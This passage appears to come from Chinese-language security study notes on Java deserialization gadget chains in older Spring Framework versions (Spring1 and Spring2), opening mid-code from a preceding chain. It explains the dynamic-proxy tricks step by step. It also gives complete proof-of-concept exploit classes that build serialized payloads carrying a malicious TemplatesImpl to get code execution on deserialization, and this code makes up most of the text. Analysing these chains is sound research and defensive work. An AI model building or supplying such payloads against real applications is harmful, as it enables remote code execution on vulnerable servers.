queueArray[0] = templates;
Reflections.setFieldValue(queue, "comparator", comparator);
// 序列化和反序列化
deserialize(serialize(queue));
}
}
Spring Framework
Spring1 (Spring Core <= 4.1.4)
影响版本: <= 4.1.4 , jdk<=8u20
依赖信息:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
关键触发点:
MethodInvokeTypeProvider.readObject()ObjectFactoryDelegatingInvocationHandler.invoke()AnnotationInvocationHandler.invoke()
关键点分析:
step1:创建一个AnnotationInvocationHandler的处理程序并把携带tempslate对象的Map存入AnnotationInvocationHandler,创建一个ObjectFactory的代理对象,并设置处理程序为AnnotationInvocationHandler,只要调用getObject时,其实获取的是Templates对象。
public final class $Proxy0 extends Proxy implements ObjectFactory {
private static Method m3;
private static Method m1;
private static Method m0;
private static Method m2;
public $Proxy0(InvocationHandler var1) throws {
super(var1);
}
public final Object getObject() throws BeansException {
try {
return (Object)super.h.invoke(this, m3, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
static {
try {
m3 = Class.forName("org.springframework.beans.factory.ObjectFactory").getMethod("getObject");
m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
m0 = Class.forName("java.lang.Object").getMethod("hashCode");
m2 = Class.forName("java.lang.Object").getMethod("toString");
} catch (NoSuchMethodException var2) {
throw new NoSuchMethodError(var2.getMessage());
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
}
}
step2:实例化ObjectFactoryDelegatingInvocationHandler时传入之前准备好的ObjectFactory代理类,此时类中objectFactory属性等于ObjectFactoryProxy,只要在反序列化之后执行ObjectFactoryDelegatingInvocationHandler的invoke方法调用objectFactory属性的getObject()方法相当于从step1中的AnnotationInvocationHandler中的Map提取名为getObject的TempslateImpl对象。
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
private final ObjectFactory<?> objectFactory;
public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
this.objectFactory = objectFactory;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
// Only consider equal when proxies are identical.
return (proxy == args[0]);
}
else if (methodName.equals("hashCode")) {
// Use hashCode of proxy.
return System.identityHashCode(proxy);
}
else if (methodName.equals("toString")) {
return this.objectFactory.toString();
}
try {
return method.invoke(this.objectFactory.getObject(), args);
}
catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
}
}
step3:创建代理Type、Templates的代理类,设置处理器为step2中的ObjectFactoryDelegatingInvocationHandler。把代理Type和templates的对象,设置到一个新创建的Map中,key值为getType,然后再创建一个新的AnnotationInvocationHandler处理程序并传入Map,创建代理TypeProvider的代理对象,设置处理器为刚传入getType的AnnotationInvocationHandler对象。此时只要通过TypeProvider代理对象调用getType方法时,返回的就是AnnotationInvocationHandler中Map名为getType的对象。
public final class $Proxy1 extends Proxy implements Type, Templates {
private static Method m1;
private static Method m3;
private static Method m4;
private static Method m0;
private static Method m2;
public $Proxy1(InvocationHandler var1) throws {
super(var1);
}
public final boolean equals(Object var1) throws {
try {
return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final Transformer newTransformer() throws TransformerConfigurationException {
try {
return (Transformer)super.h.invoke(this, m3, (Object[])null);
} catch (RuntimeException | TransformerConfigurationException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final Properties getOutputProperties() throws {
try {
return (Properties)super.h.invoke(this, m4, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final int hashCode() throws {
try {
return (Integer)super.h.invoke(this, m0, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final String toString() throws {
try {
return (String)super.h.invoke(this, m2, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
static {
try {
m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
m3 = Class.forName("javax.xml.transform.Templates").getMethod("newTransformer");
m4 = Class.forName("javax.xml.transform.Templates").getMethod("getOutputProperties");
m0 = Class.forName("java.lang.Object").getMethod("hashCode");
m2 = Class.forName("java.lang.Object").getMethod("toString");
} catch (NoSuchMethodException var2) {
throw new NoSuchMethodError(var2.getMessage());
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
}
}
代理TypeProvider的代理类
public final class $Proxy2 extends Proxy implements SerializableTypeWrapper.TypeProvider {
private static Method m1;
private static Method m4;
private static Method m0;
private static Method m3;
private static Method m2;
public $Proxy2(InvocationHandler var1) throws {
super(var1);
}
public final boolean equals(Object var1) throws {
try {
return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final Type getType() throws {
try {
return (Type)super.h.invoke(this, m4, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final int hashCode() throws {
try {
return (Integer)super.h.invoke(this, m0, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final Object getSource() throws {
try {
return (Object)super.h.invoke(this, m3, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final String toString() throws {
try {
return (String)super.h.invoke(this, m2, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
static {
try {
m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
m4 = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider").getMethod("getType");
m0 = Class.forName("java.lang.Object").getMethod("hashCode");
m3 = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider").getMethod("getSource");
m2 = Class.forName("java.lang.Object").getMethod("toString");
} catch (NoSuchMethodException var2) {
throw new NoSuchMethodError(var2.getMessage());
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
}
}
step4:MethodInvokeTypeProvider 是 Spring Framework 内部用于处理 Java 类型信息的一个类,特别是在需要序列化类型信息时。它是 Spring 类型抽象系统的一部分,主要目的是解决 Java 泛型类型在序列化/反序列化过程中的信息丢失问题。当需要重建类型信息时,会重新记录的方法调用,使用反射调用目标对象的方法。TypeProvider属性中包含了需要重建的类型信息,方便在反序列化时执行反射恢复,这里我们传入的TypeProvider是上一步中生成的TypeProvider代理对象,反序列化时通过provider.getType调用时,最终返回的是我们提前在第一步中设置好的Templates对象,这里是无参反射,只需要设置好methodName为newTransformer,就可以成功执行代码。这个思路简直变态到了极点,需要一步一步的拆分,相比于CC1中的动态代理Payload,研究出该链路的人对动态代理的运用已经炉火纯青了!
static class MethodInvokeTypeProvider implements TypeProvider {
private final TypeProvider provider;
private final String methodName;
private final int index;
private transient Object result;
public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
this.provider = provider;
this.methodName = method.getName();
this.index = index;
this.result = ReflectionUtils.invokeMethod(method, provider.getType());
}
public Type getType() {
return !(this.result instanceof Type) && this.result != null ? ((Type[])((Type[])this.result))[this.index] : (Type)this.result;
}
public Object getSource() {
return null;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
}
Gadget链:
MethodInvokeTypeProvider.readObject() -> tempslateImpl ->newTransformer()
-> MethodInvokeTypeProvider.getType()
->(TypeProvider)$Proxy0.getType()
->AnnotationInvocationHandler.invoke()
-> (Type,Tempslate)$Proxy0.getType()
->ObjectFactoryDelegatingInvocationHandler.invoke()
->(ObjectFactory)$Proxy0.getObject()
->AnnotationInvocationHandler.invoke()
->恶意tempslateImpl对象
PoC代码:
public class Spring1Exploit {
public static void main(String[] args) throws Exception {
// step 1 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = getTemplatesImpl();
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("getObject", tmpl);
Class<?> handlerClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = handlerClazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object annotationHandler = constructor.newInstance(Target.class, hashMap);
// 代理ObjectFactory, 设置处理程序为AnnotationInvocationHandler-1 map -> TemplatesImpl
// 只要调用`getObject`时,其实获取的是`Templates`对象。
Object objectFactoryProxy = Proxy.newProxyInstance(ObjectFactory.class.getClassLoader(), new Class[]{ObjectFactory.class}, (InvocationHandler) annotationHandler);
Class<?> handlerFactoryClazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor1 = handlerFactoryClazz.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
// 在实例ObjectFactoryDelegatingInvocationHandler时,传入已经代理好的objectFactoryProxy
InvocationHandler ofInvocationHandler = (InvocationHandler) constructor1.newInstance(objectFactoryProxy);
// ==============objectFactory代理完成=================
// step2 代理Type和templates,
// 设置处理程序为ObjectFactoryDelegatingInvocationHandler -> AnnotationInvocationHandler-1- -> TemplatesImpl
Object typeProxy = Proxy.newProxyInstance(Spring1Exploit.class.getClassLoader(), new Class[]{Type.class, Templates.class}, ofInvocationHandler);
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put("getType", typeProxy);
// 在实例AnnotationInvocationHandler-2时,传入存在代理Type的Map
Object annotationHandler1 = constructor.newInstance(Target.class, hashMap1);
// 动态代理TypeProvider,之后获取getType时,返回的是TemplatesImpl
Class<?> typeProviderClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(typeProviderClazz.getClassLoader(), new Class[]{typeProviderClazz}, (InvocationHandler) annotationHandler1);
// ==================TypeProvider代理完成=================
// step3 最终在MethodInvokeTypeProvider反序列化时设置typeProvider属性为typeProviderProxy,设置methodName为newTransformer
// 反序列化时,调用MethodInvokeTypeProvider的typeProviderProxy,触发调用AnnotationInvocationHandler-2的invoke方法,
// 获取代理Type对象,MethodInvokeTypeProvider会调用代理Type对象的newTransformer方法
// 调用ObjectFactoryDelegatingInvocationHandler -> AnnotationInvocationHandler-1 -> TemplatesImpl
Class<?> methodProvider = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor2 = methodProvider.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object newInstance = constructor2.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setFieldValue(newInstance, "methodName", "newTransformer");
deserialize(serialize(newInstance));
}
}
Spring2 (Spring AOP)
**影响版本:**aop <= 4.1.4 , jdk<=8u20
关键触发点:
JdkDynamicAopProxy.invoke()AdvisedSupport
关键点分析:
该链就是替换了Spring1中的ObjectFactoryDelegatingInvocationHandler为JdkDynamicAopProxy,JdkDynamicAopProxy是基于JDK动态代理的实现类,该类实现了AopProxy和InvocationHandler接口,利用Java的Proxy类创建动态代理对象。作用是为Spring管理的Bean创建AOP代理对象,实现面向切面编程,在不修改源代码的情况下添加额外功能。

JdkDynamicAopProxy的AdvisedSupport属性可以放置Templates对象,在invoke中通过放置的target对象来执行反射。Spring1通过代理ObjectFactory提取AnnotationInvocationHandler中的恶意templates对象,Spring2中把放置templates对象的类设置为JdkDynamicAopProxy中。

Gadget链:
MethodInvokeTypeProvider.readObject() -> tempslateImpl ->proxy.newTransformer()
-> MethodInvokeTypeProvider.getType()
->(TypeProvider)$Proxy0.getType()
->AnnotationInvocationHandler.invoke()
-> (Type,Tempslate)$Proxy0.getType()
->JdkDynamicAopProxy.invoke()
->TargetSource.getTarget()
->恶意tempslateImpl对象
PoC代码:
public class Spring2Exploit {
public static void main(String[] args) throws Exception {
// step 1 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = getTemplatesImpl();
// 存放TemplatesImpl的类到AdvisedSupport中
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(tmpl);
Class<?> aopClazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> aopConstructor = aopClazz.getDeclaredConstructors()[0];
aopConstructor.setAccessible(true);
// 实例化JdkDynamicAopProxy InvocationHandler
Object aopHandler = aopConstructor.newInstance(advisedSupport);
// step2 代理Type和templates,
// 设置处理程序为AopInvocationHandler -> AdvisedSupport.getTargetSource -> TemplatesImpl
Object typeProxy = Proxy.newProxyInstance(Spring1Exploit.class.getClassLoader(), new Class[]{Type.class, Templates.class}, (InvocationHandler) aopHandler);
// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeProxy);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
// 动态代理TypeProvider,之后获取getType时,返回的是TemplatesImpl
Class<?> typeProviderClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(typeProviderClazz.getClassLoader(), new Class[]{typeProviderClazz}, (InvocationHandler) newInvocationHandler);
// ==================TypeProvider代理完成=================
// step3 最终在MethodInvokeTypeProvider反序列化时设置typeProvider属性为typeProviderProxy,设置methodName为newTransformer
// 反序列化时,调用MethodInvokeTypeProvider的typeProviderProxy,触发调用AnnotationInvocationHandler的invoke方法,获取代理TypeProxy对象
// 获取代理Type对象,MethodInvokeTypeProvider会调用代理Type对象的newTransformer方法
// 调用JdkDynamicAopProxy -> getTargetSource -> TemplatesImpl
Class<?> methodProvider = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor2 = methodProvider.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object newInstance = constructor2.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setFieldValue(newInstance, "methodName", "newTransformer");
deserialize(serialize(newInstance));
}
}